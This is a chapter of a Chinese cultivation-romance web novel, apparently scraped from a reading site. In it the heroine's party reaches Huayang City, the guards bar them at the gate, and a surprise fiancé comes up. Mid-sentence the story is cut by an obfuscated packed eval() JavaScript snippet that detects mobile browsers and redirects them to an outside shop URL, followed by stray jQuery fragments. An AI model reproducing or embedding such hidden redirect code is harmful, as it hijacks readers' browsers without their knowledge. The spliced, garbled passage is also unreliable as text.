文趣网 > 其他小说 > 偏执男主非要和我he > 29. 花魂 3
    “哎哟,这小东西怎么真的打人呢。”看着手上冒出来的血珠,云镜川把手往后面缩了缩。

    “小师叔,你怎么能在针上面附上你的灵力呢?多危险啊!”连他真个金丹真人,都见了血光之灾。

    “再不老实,就让麒麟把你扔下去。还有,给花魂道歉。”温灵冶看着这个不稳定因素,感到一丝头疼。

    他真的靠谱吗?

    “道歉!”花魂人小气势大,用针剑指着云镜川。

    “对不住,实在对不住。为了补偿,进了华阳城看上什么,全由我买单行不行?”

    “我要华阳城最好的酒。”萧令仪早就想小酌一滴,奈何之前一直没想起来,喉咙里渴望的是何物。

    “奴家倒是好久没置办一身像样的行头。”蔓香要见她的心上人许郎,哪怕见到的只是一具骷髅架子,也要狠狠惊艳之。

    “我有能写字的就好。”想不起自己具体是谁,只有一个回家的念头,所以目前发生的一切都接受。

    “好,统统可以。”出身云衢商会又是天巽宗宗主的亲传弟子,灵石方面从不短缺,做起承诺来也十分大方。

    “师尊,尝尝这个。”聂云祁并不理会一旁的插曲,花魂也好、云镜川也好,都是无关紧要之人。他打开木盒,晶莹剔透的软糖散发着薄荷的香气。

    温灵冶拈起一颗放进嘴里,牙齿咬破软糖,薄荷的清香在嘴里炸开,而后一丝奶香混合着轻微的花果香,及时止住过凉的薄荷,几种味道融合得极好,适合晕车人士来上一颗。

    “聂师弟平日照顾小师叔真是周到啊。”云镜川摇着折扇套近乎。

    “分内之事。”聂云祁并不觉得他的行为值得夸赞,照顾师尊本就是他所求。

    “云师兄若感兴趣,可以吃这些。”聂云祁掏出个小盒子,里面装的是塑形失败的薄荷糖。

    云镜川也不计较,拿起一块放进嘴里,眼前一亮,“聂师弟这个薄荷糖的方子卖给师兄,成不成?价格都好商量。”

    没想到,他出个门会有两个收获,别看这些方子、料子都是小东西,经营好了进账可观。

    “不过是随手做的,没有方子。”

    聂云祁礼貌拒绝,给师尊的得是独一份的。方子自然有,免得下次师尊还想吃的时候,做不出来一样的。

    飞天马车平缓驶入云端,带有凉意的风从云间从雾里,吹拂到温灵冶的脸上,抱着软乎乎的小福团,感受到怀中的暖意,她杂乱的思绪得以平静,她眼眸微合,头一点一点,睡着了。

    聂云祁关上马车的窗户,小心地将她揽进怀里,取出一条薄绒毯子搭上,抬头示意花魂、云镜川不要出声。

    蔓香一想到能得到许郎的消息,早就兴奋得说不出话来。萧令仪见怪不怪,剩下那个本就是不爱言语的。

    只有云镜川瞪大了眼睛,将折扇合拢,激动地对着聂云祁指指点点。

    “她是你师尊!”云镜川无声地用口型谴责。

    “我知道。”聂云祁同样无声回答,他神态自然,还用薄毯将温灵冶裹紧了些。

    在聂云祁眼神威胁下,云镜川只敢咬着扇子,在心里吐槽。

    师尊啊,咱们天巽宗要发生不得了的事情,看来又得做好危机公关的准备。

    不论身份,清冷美人卧在桀骜郎君怀里,养眼得确如一副画卷。

    若有人当着温灵冶的面前说聂云祁桀骜,她定然不会相信,明明她的徒弟最是谦逊细心。

    可云镜川一众金丹同他切磋时,要么杀招凌厉、步步紧逼,要么闲庭信步、漫不经心,除流徽是元婴,能与之平手外,哪次不是每次都把他们打得落花流水。

    打完还一副师兄师姐们承让,然后头一点不低下地转身离去。

    感受到有可依靠的热源,温灵冶在聂云祁怀里窝了窝,找了个最舒服的姿势沉沉睡去。

    聂云祁靡丽妖冶的脸上的露出一抹心满意足的笑。

    小师叔这个习惯了的样子,难道?

    竟然如此?原来如此!

    好你个聂云祁,我把你当师弟,你却想做我的长辈?

    师尊啊,看来这回咱们天巽宗真的要出大事了。

    飞天马车平稳降落在华阳城郊外,长出翅膀的三匹白马将翅膀收了回去,化作普通马的模样载着温灵冶一行人往城门处驶去。

    “停下,查看路引。”一个守卫模样打扮的人,拦住了马车,看他盔甲帽子上带着红缨,还是个头领。

    华阳城凡人居多,修仙世家在此多半是不问世事、隐居状态,所以城池一概要务皆由官府管理,进城来往盘查也格外严谨,这也是官府上层与修仙世家达成的默契,若实在有修真者闹事,官府能力不及之处,会有修仙世家出手。

    由此华阳城虽为凡人治理,但多年来无虞顺遂,百姓们也乐业安居,作为一座普通的城池,少有的呈现出繁荣的迹象。

    温灵冶翻找着自己温家少主的令牌,聂云祁、云镜川二人下车交涉。

    “路引呢?”云镜川用手肘戳了戳聂云祁。

    “没带。”

    “那弟子令牌,或者说小师叔的令牌呢?”云镜川不死心继续问。

    “没带。”

    云镜川两眼一闭,聂师弟你平日里心思放在小师叔身上固然是好,但能不能注意一点出任务的细节,糖记得带,猫记得带,令牌不记得带吗?

    “你不也没带。”聂云祁还插一把刀。

    那能一样吗?他知道消息的时候,生怕小师叔出发得急,毕竟天巽宗上下谁不知道,小师叔急于摆脱花魂。除了兜里的灵石,什么也没带,灵在境界里也都是灵石。

    至于聂云祁的灵在境界,里面全都是师尊给的赏赐,关于师尊的周边。

    温灵冶十多年没回华阳温家,早忘记她的少主令牌放哪儿去了,之前行走各界证明她剑尊身份,只需要亮出冰灵根和上善剑。

    厚重有质感的帘子里,伸出一只修长的骨节分明的手,拿着冒着冰雪气的剑。

    守城门士兵头领皱眉,什么意思?

    “这位小哥,我等是仙门中人,来贵地办点小事,不知道华阳城需要路引,还望通融通融。”云镜川觉得什么事情都可以用灵石解

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628198|205350||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    决,他拿出一个分量不轻的袋子,递给守城人。

    “诸位若无路引,便请回吧。”

    守城门士兵头领固辞不受,把他当成什么人,既然做了城主守门的兵,就绝不会辜负城主的期望,为了满城百姓的安危,他不能放这些会法术的进去,没个凭证什么的,万一是邪修呢?

    【系统,你说这会儿,我要是下去,说我是天巽宗的青姮剑尊,让他放我进去,会不会太跌份。】

    【包的,宿主,有身份的人都是由别人唱名,然后一言不发地走出来,王霸之气震慑全场,这才叫牌面。】

    温灵冶拿剑展示的手,慢慢缩回来,算了丢不起这个脸。本想悄悄进城,现在还是传灵讯让温家来接比较好。

    【宿主,你已经丢人了。】

    “我家小师叔可是天巽宗的青姮剑尊,还不快放我们进去。”云镜川头一次被人拦在外面,自然不忿。

    【现在是丢死人了。】

    “我不管尔等有什么的大来头,我只管看路引,没有路引或者证明尔等身份的凭证,来历不明的人不准进入华阳城。”

    守城士兵头领手中枪往地下一顿,震起些尘土,驱逐道:“尔等速速离去!”

    旁边另一个守城士兵过来嗤笑:“扯什么青姮剑尊的大旗,我们城主还是温家少主的未婚夫呢,他张扬了吗?”

    “不许随便议论城主,下值后自去领二十棍。”

    “是,头儿,可这二十棍是不是······。”

    “三十棍。”

    “头儿。”

    “四十棍。”

    “是,属下遵命。”

    这守城士兵一番拉扯,成功让自己的惩罚翻倍。

    【我什么时候被定婚了?】

    【不知道啊。】

    “不许侮辱师尊清名。”聂云祁铮的一下拔出挽霜,利剑出鞘雷电之威势,让那位守城士兵不敢动弹。

    “阁下这是何意,要与华阳城为敌吗?”

    领头守城士兵与其他守城士兵们,纷纷执戈相向,硝烟味蔓延。

    “麒麟,收剑。”面对修真者仍敢亮出兵器,这些守城士兵从恪尽职守来说,并无过错。

    至于未婚夫?

    温灵冶正欲下车分辨,就听到御剑而来的破空声。

    “哎呀,住手,快停下,那是我家少主!”

    “嗖嗖嗖——”几柄飞剑停在城门口。

    老管家头发花白,精神矍铄,也是个筑基期,她从飞剑上下来,连忙阻止这一场乌龙。

    聂云祁在他师尊出声的那一刻,就收剑入鞘,心中仍旧对未婚夫颇为在意。

    “原来是温管家,车里的难道是温家少主?真的是青姮剑尊?”头领也抬手示意士兵们退下。

    温灵冶弯腰掀开帘子,让人先注意到的,是如瀑布般倾泄的乌发。

    聂云祁从灵在境界里掏出地毯,避免师尊的鞋底直接接触到尘土,伸手将她扶下来,又将一件白色绣银线的斗篷披到她身上。

    甫一站定,温灵冶就问道:“楚姨,我何时有了一个未婚夫?”